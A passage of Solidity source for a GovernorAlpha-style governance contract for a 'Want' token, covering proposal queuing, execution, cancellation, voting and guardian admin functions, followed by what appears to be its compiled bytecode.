function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || want.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = want.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface WantInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
} | 0x60806040526004361061019c5760003560e01c8063452a9320116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610463578063deaaa7cc14610483578063e23a9a5214610498578063fe0d94c1146104c55761019c565b8063d33219b414610419578063da35c6641461042e578063da95691a146104435761019c565b80637bdbe4d0116100c65780637bdbe4d0146103ba57806391500671146103cf578063b58131b0146103ef578063b9a61961146104045761019c565b8063452a9320146103635780634634c61f14610385578063760fbc13146103a55761019c565b806320606b7011610159578063328dd98211610133578063328dd982146102d15780633932abb1146103015780633e4f49e61461031657806340e58ee5146103435761019c565b806320606b701461028757806321f43e421461029c57806324bc1a64146102bc5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c61146102455780631f1fcd5114610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc36600461243f565b6104d8565b6040516101d6999897969594939291906135a4565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d691906132d1565b34801561020d57600080fd5b50610216610538565b6040516101d6919061338d565b34801561022f57600080fd5b5061024361023e36600461248d565b610567565b005b34801561025157600080fd5b506101f4610260366004612282565b610576565b34801561027157600080fd5b5061027a610588565b6040516101d69190613371565b34801561029357600080fd5b506101f4610597565b3480156102a857600080fd5b506102436102b73660046122a8565b6105ae565b3480156102c857600080fd5b506101f4610695565b3480156102dd57600080fd5b506102f16102ec36600461243f565b6106a2565b6040516101d69493929190613284565b34801561030d57600080fd5b506101f4610931565b34801561032257600080fd5b5061033661033136600461243f565b610936565b6040516101d6919061337f565b34801561034f57600080fd5b5061024361035e36600461243f565b610ab8565b34801561036f57600080fd5b50610378610d21565b6040516101d6919061312e565b34801561039157600080fd5b506102436103a03660046124bd565b610d30565b3480156103b157600080fd5b50610243610ec3565b3480156103c657600080fd5b506101f4610eff565b3480156103db57600080fd5b506102436103ea3660046122a8565b610f04565b3480156103fb57600080fd5b506101f4610fd9565b34801561041057600080fd5b50610243610fe6565b34801561042557600080fd5b5061027a61106b565b34801561043a57600080fd5b506101f461107a565b34801561044f57600080fd5b506101f461045e3660046122e2565b611080565b34801561046f57600080fd5b5061024361047e36600461243f565b6114a2565b34801561048f57600080fd5b506101f461170c565b3480156104a457600080fd5b506104b86104b336600461245d565b611718565b6040516101d691906134ee565b6102436104d336600461243f565b611787565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b612d005b90565b6040518060400160405280601381526020017257616e7420476f7665726e6f7220416c70686160681b81525081565b61057233838361194c565b5050565b60056020526000908152604090205481565b6001546001600160a01b031681565b6040516105a390613118565b604051809103902081565b6002546001600160a01b031633146105e15760405162461bcd60e51b81526004016105d8906133ce565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061060b90879060200161312e565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161063a9493929190613157565b600060405180830381600087803b15801561065457600080fd5b505af1158015610668573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610690919081019061240a565b505050565b686c6b935b8bbd40000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561072457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610706575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561077657602002820191906000526020600020905b815481526020019060010190808311610762575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108495760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b50505050508152602001906001019061079e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561091b5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109075780601f106108dc57610100808354040283529160200191610907565b820191906000526020600020905b8154815290600101906020018083116108ea57829003601f168201915b505050505081526020019060010190610870565b5050505090509450945094509450509193509193565b600190565b6000816003541015801561094a5750600082115b6109665760405162461bcd60e51b81526004016105d8906133de565b6000828152600460205260409020600b81015460ff161561098b576002915050610ab3565b806007015443116109a0576000915050610ab3565b806008015443116109b5576001915050610ab3565b80600a015481600901541115806109d657506109cf610695565b8160090154105b156109e5576003915050610ab3565b60028101546109f8576004915050610ab3565b600b810154610100900460ff1615610a14576007915050610ab3565b6002810154600054604080516360d143f160e11b81529051610a9d93926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b158015610a6057600080fd5b505afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a9891908101906123ec565b611b15565b4210610aad576006915050610ab3565b60059150505b919050565b6000610ac382610936565b90506007816007811115610ad357fe5b1415610af15760405162461bcd60e51b81526004016105d8906134ae565b60008281526004602052604090206002546001600160a01b0316331480610bbc5750610b1b610fd9565b60018054838201546001600160a01b039182169263782d6fe19290911690610b44904390611b41565b6040518363ffffffff1660e01b8152600401610b619291906131a6565b60206040518083038186803b158015610b7957600080fd5b505afa158015610b8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bb19190810190612525565b6001600160601b0316105b610bd85760405162461bcd60e51b81526004016105d89061344e565b600b8101805460ff1916600117905560005b6003820154811015610ce4576000546003830180546001600160a01b039092169163591fcdfe919084908110610c1c57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c4457fe5b9060005260206000200154856005018581548110610c5e57fe5b90600052602060002001866006018681548110610c7757fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610ca6959493929190613243565b600060405180830381600087803b158015610cc057600080fd5b505af1158015610cd4573d6000803e3d6000fd5b505060019092019150610bea9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d1491906132d1565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610d3e90613118565b60408051918290038220828201909152601382527257616e7420476f7665726e6f7220416c70686160681b6020909201919091527f5d9c2526889652b70c0c21c8bce0c46420c676dbf83b5ac88c8948fe5f1fa138610d9b611b69565b30604051602001610daf94939291906132df565b6040516020818303038152906040528051906020012090506000604051610dd590613123565b604051908190038120610dee9189908990602001613314565b60405160208183030381529060405280519060200120905060008282604051602001610e1b9291906130e7565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e58949392919061333c565b6020604051602081039080840390855afa158015610e7a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ead5760405162461bcd60e51b81526004016105d89061348e565b610eb8818a8a61194c565b505050505050505050565b6002546001600160a01b03163314610eed5760405162461bcd60e51b81526004016105d8906134de565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f2e5760405162461bcd60e51b81526004016105d89061340e565b600080546040516001600160a01b0390911691633a66f90191839190610f5890879060200161312e565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f879493929190613157565b602060405180830381600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061069091908101906123ec565b681b1ae4d6e2ef50000090565b6002546001600160a01b031633146110105760405162461bcd60e51b81526004016105d89061339e565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561105157600080fd5b505af1158015611065573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b600061108a610fd9565b600180546001600160a01b03169063782d6fe19033906110ab904390611b41565b6040518363ffffffff1660e01b81526004016110c892919061313c565b60206040518083038186803b1580156110e057600080fd5b505afa1580156110f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111189190810190612525565b6001600160601b03161161113e5760405162461bcd60e51b81526004016105d89061347e565b84518651148015611150575083518651145b801561115d575082518651145b6111795760405162461bcd60e51b81526004016105d89061343e565b85516111975760405162461bcd60e51b81526004016105d89061346e565b61119f610eff565b865111156111bf5760405162461bcd60e51b81526004016105d89061341e565b33600090815260056020526040902054801561123c5760006111e082610936565b905060018160078111156111f057fe5b141561120e5760405162461bcd60e51b81526004016105d89061349e565b600081600781111561121c57fe5b141561123a5760405162461bcd60e51b81526004016105d8906133fe565b505b600061124a43610a98610931565b9050600061125a82610a98610531565b600380546001019055905061126d611ccc565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611350929190611d41565b506080820151805161136c916004840191602090910190611da6565b5060a08201518051611388916005840191602090910190611ded565b5060c082015180516113a4916006840191602090910190611e46565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161148a999897969594939291906134fc565b60405180910390a15193505050505b95945050505050565b60046114ad82610936565b60078111156114b857fe5b146114d55760405162461bcd60e51b81526004016105d8906133ae565b600081815260046020818152604080842084548251630d48571f60e31b8152925191959461152a9442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a6057600080fd5b905060005b60038301548110156116d2576116ca83600301828154811061154d57fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061157557fe5b906000526020600020015485600501848154811061158f57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561161d5780601f106115f25761010080835404028352916020019161161d565b820191906000526020600020905b81548152906001019060200180831161160057829003601f168201915b505050505086600601858154811061163157fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116bf5780601f10611694576101008083540402835291602001916116bf565b820191906000526020600020905b8154815290600101906020018083116116a257829003601f168201915b505050505086611b6d565b60010161152f565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d14908590849061362a565b6040516105a390613123565b611720611e9f565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b600561179282610936565b600781111561179d57fe5b146117ba5760405162461bcd60e51b81526004016105d8906133be565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611910576000546004830180546001600160a01b0390921691630825f38f91908490811061180d57fe5b906000526020600020015484600301848154811061182757fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061184f57fe5b906000526020600020015486600501868154811061186957fe5b9060005260206000200187600601878154811061188257fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118b1959493929190613243565b6000604051808303818588803b1580156118ca57600080fd5b505af11580156118de573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052611907919081019061240a565b506001016117db565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161194091906132d1565b60405180910390a15050565b600161195783610936565b600781111561196257fe5b1461197f5760405162461bcd60e51b81526004016105d8906134be565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119c85760405162461bcd60e51b81526004016105d8906133ee565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe1916119fe918a916004016131a6565b60206040518083038186803b158015611a1657600080fd5b505afa158015611a2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a4e9190810190612525565b90508315611a7757611a6d8360090154826001600160601b0316611b15565b6009840155611a94565b611a8e83600a0154826001600160601b0316611b15565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b059088908890889086906131b4565b60405180910390a1505050505050565b600082820183811015611b3a5760405162461bcd60e51b81526004016105d89061342e565b9392505050565b600082821115611b635760405162461bcd60e51b81526004016105d8906134ce565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611b9b90889088908890889088906020016131e9565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bcd91906132d1565b60206040518083038186803b158015611be557600080fd5b505afa158015611bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c1d91908101906123ce565b15611c3a5760405162461bcd60e51b81526004016105d89061345e565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c7290889088908890889088906004016131e9565b602060405180830381600087803b158015611c8c57600080fd5b505af1158015611ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cc491908101906123ec565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d96579160200282015b82811115611d9657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d61565b50611da2929150611ebf565b5090565b828054828255906000526020600020908101928215611de1579160200282015b82811115611de1578251825591602001919060010190611dc6565b50611da2929150611ee3565b828054828255906000526020600020908101928215611e3a579160200282015b82811115611e3a5782518051611e2a918491602090910190611efd565b5091602001919060010190611e0d565b50611da2929150611f6a565b828054828255906000526020600020908101928215611e93579160200282015b82811115611e935782518051611e83918491602090910190611efd565b5091602001919060010190611e66565b50611da2929150611f8d565b604080516060810182526000808252602082018190529181019190915290565b61053591905b80821115611da25780546001600160a01b0319168155600101611ec5565b61053591905b80821115611da25760008155600101611ee9565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f3e57805160ff1916838001178555611de1565b82800160010185558215611de15791820182811115611de1578251825591602001919060010190611dc6565b61053591905b80821115611da2576000611f848282611fb0565b50600101611f70565b61053591905b80821115611da2576000611fa78282611fb0565b50600101611f93565b50805460018160011615610100020316600290046000825580601f10611fd65750611ff4565b601f016020900490600052602060002090810190611ff49190611ee3565b50565b80356117818161377e565b600082601f83011261201357600080fd5b81356120266120218261365f565b613638565b9150818183526020840193506020810190508385602084028201111561204b57600080fd5b60005b8381101561207757816120618882611ff7565b845250602092830192919091019060010161204e565b5050505092915050565b600082601f83011261209257600080fd5b81356120a06120218261365f565b81815260209384019390925082018360005b8381101561207757813586016120c888826121d7565b84525060209283019291909101906001016120b2565b600082601f8301126120ef57600080fd5b81356120fd6120218261365f565b81815260209384019390925082018360005b83811015612077578135860161212588826121d7565b845250602092830192919091019060010161210f565b600082601f83011261214c57600080fd5b813561215a6120218261365f565b9150818183526020840193506020810190508385602084028201111561217f57600080fd5b60005b83811015612077578161219588826121c1565b8452506020928301929190910190600101612182565b803561178181613792565b805161178181613792565b80356117818161379b565b80516117818161379b565b600082601f8301126121e857600080fd5b81356121f661202182613680565b9150808252602083016020830185838301111561221257600080fd5b61221d838284613732565b50505092915050565b600082601f83011261223757600080fd5b815161224561202182613680565b9150808252602083016020830185838301111561226157600080fd5b61221d83828461373e565b8035611781816137a4565b8051611781816137ad565b60006020828403121561229457600080fd5b60006122a08484611ff7565b949350505050565b600080604083850312156122bb57600080fd5b60006122c78585611ff7565b92505060206122d8858286016121c1565b9150509250929050565b600080600080600060a086880312156122fa57600080fd5b853567ffffffffffffffff81111561231157600080fd5b61231d88828901612002565b955050602086013567ffffffffffffffff81111561233a57600080fd5b6123468882890161213b565b945050604086013567ffffffffffffffff81111561236357600080fd5b61236f888289016120de565b935050606086013567ffffffffffffffff81111561238c57600080fd5b61239888828901612081565b925050608086013567ffffffffffffffff8111156123b557600080fd5b6123c1888289016121d7565b9150509295509295909350565b6000602082840312156123e057600080fd5b60006122a084846121b6565b6000602082840312156123fe57600080fd5b60006122a084846121cc565b60006020828403121561241c57600080fd5b815167ffffffffffffffff81111561243357600080fd5b6122a084828501612226565b60006020828403121561245157600080fd5b60006122a084846121c1565b6000806040838503121561247057600080fd5b600061247c85856121c1565b92505060206122d885828601611ff7565b600080604083850312156124a057600080fd5b60006124ac85856121c1565b92505060206122d8858286016121ab565b600080600080600060a086880312156124d557600080fd5b60006124e188886121c1565b95505060206124f2888289016121ab565b94505060406125038882890161226c565b9350506060612514888289016121c1565b92505060806123c1888289016121c1565b60006020828403121561253757600080fd5b60006122a08484612277565b600061254f838361257e565b505060200190565b6000611b3a8383612720565b600061254f8383612706565b612578816136ff565b82525050565b612578816136c7565b6000612592826136ba565b61259c81856136be565b93506125a7836136a8565b8060005b838110156125d55781516125bf8882612543565b97506125ca836136a8565b9250506001016125ab565b509495945050505050565b60006125eb826136ba565b6125f581856136be565b935083602082028501612607856136a8565b8060005b8581101561264157848403895281516126248582612557565b945061262f836136a8565b60209a909a019992505060010161260b565b5091979650505050505050565b6000612659826136ba565b61266381856136be565b935083602082028501612675856136a8565b8060005b8581101561264157848403895281516126928582612557565b945061269d836136a8565b60209a909a0199925050600101612679565b60006126ba826136ba565b6126c481856136be565b93506126cf836136a8565b8060005b838110156125d55781516126e78882612563565b97506126f2836136a8565b9250506001016126d3565b612578816136d2565b61257881610535565b61257861271b82610535565b610535565b600061272b826136ba565b61273581856136be565b935061274581856020860161373e565b61274e8161376a565b9093019392505050565b600081546001811660008114612775576001811461279b576127da565b607f600283041661278681876136be565b60ff19841681529550506020850192506127da565b600282046127a981876136be565b95506127b4856136ae565b60005b828110156127d3578154888201526001909101906020016127b7565b8701945050505b505092915050565b61257881613706565b61257881613711565b6125788161371c565b600061280a6039836136be565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b60006128696044836136be565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006128d56045836136be565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612942600283610ab3565b61190160f01b815260020192915050565b6000612960604c836136be565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006129d46018836136be565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a0d6029836136be565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612a58602d836136be565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612aa76059836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612b2c604a836136be565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612b9e6028836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612be86011836136be565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612c15604383610ab3565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c80602783610ab3565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612cc96044836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612d35602f836136be565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612d866044836136be565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612df2602c836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612e40603f836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612e9f602f836136be565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612ef06058836136be565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b6000612f756036836136be565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612fcd602a836136be565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b60006130196015836136be565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b600061304a6036836136be565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906130a684826126fd565b5060208201516130b960208501826126fd565b50604082015161106560408501826130de565b612578816136ed565b61257881613727565b612578816136f3565b60006130f282612935565b91506130fe828561270f565b60208201915061310e828461270f565b5060200192915050565b600061178182612c08565b600061178182612c73565b60208101611781828461257e565b6040810161314a828561256f565b611b3a6020830184612706565b60a08101613165828761257e565b61317260208301866127f4565b8181036040830152613183816129c7565b905081810360608301526131978185612720565b90506114996080830184612706565b6040810161314a828561257e565b608081016131c2828761257e565b6131cf6020830186612706565b6131dc60408301856126fd565b61149960608301846130d5565b60a081016131f7828861257e565b6132046020830187612706565b81810360408301526132168186612720565b9050818103606083015261322a8185612720565b90506132396080830184612706565b9695505050505050565b60a08101613251828861257e565b61325e6020830187612706565b81810360408301526132708186612758565b9050818103606083015261322a8185612758565b608080825281016132958187612587565b905081810360208301526132a981866126af565b905081810360408301526132bd818561264e565b9050818103606083015261323981846125e0565b602081016117818284612706565b608081016132ed8287612706565b6132fa6020830186612706565b6133076040830185612706565b611499606083018461257e565b606081016133228286612706565b61332f6020830185612706565b6122a060408301846126fd565b6080810161334a8287612706565b61335760208301866130cc565b6133646040830185612706565b6114996060830184612706565b6020810161178182846127e2565b6020810161178182846127eb565b60208082528101611b3a8184612720565b60208082528101611781816127fd565b602080825281016117818161285c565b60208082528101611781816128c8565b6020808252810161178181612953565b6020808252810161178181612a00565b6020808252810161178181612a4b565b6020808252810161178181612a9a565b6020808252810161178181612b1f565b6020808252810161178181612b91565b6020808252810161178181612bdb565b6020808252810161178181612cbc565b6020808252810161178181612d28565b6020808252810161178181612d79565b6020808252810161178181612de5565b6020808252810161178181612e33565b6020808252810161178181612e92565b6020808252810161178181612ee3565b6020808252810161178181612f68565b6020808252810161178181612fc0565b602080825281016117818161300c565b602080825281016117818161303d565b606081016117818284613095565b610120810161350b828c612706565b613518602083018b61256f565b818103604083015261352a818a612587565b9050818103606083015261353e81896126af565b90508181036080830152613552818861264e565b905081810360a083015261356681876125e0565b905061357560c0830186612706565b61358260e0830185612706565b8181036101008301526135958184612720565b9b9a5050505050505050505050565b61012081016135b3828c612706565b6135c0602083018b61257e565b6135cd604083018a612706565b6135da6060830189612706565b6135e76080830188612706565b6135f460a0830187612706565b61360160c0830186612706565b61360e60e08301856126fd565b61361c6101008301846126fd565b9a9950505050505050505050565b6040810161314a8285612706565b60405181810167ffffffffffffffff8111828210171561365757600080fd5b604052919050565b600067ffffffffffffffff82111561367657600080fd5b5060209081020190565b600067ffffffffffffffff82111561369757600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b6000611781826136e1565b151590565b80610ab381613774565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b6000611781825b6000611781826136c7565b6000611781826136d7565b600061178182610535565b6000611781826136f3565b82818337506000910152565b60005b83811015613759578181015183820152602001613741565b838111156110655750506000910152565b601f01601f191690565b60088110611ff457fe5b613787816136c7565b8114611ff457600080fd5b613787816136d2565b61378781610535565b613787816136ed565b613787816136f356fea365627a7a723158204d9a8ca9f34d7cc9511ce2ddbee8c71b8a0a33666cfebe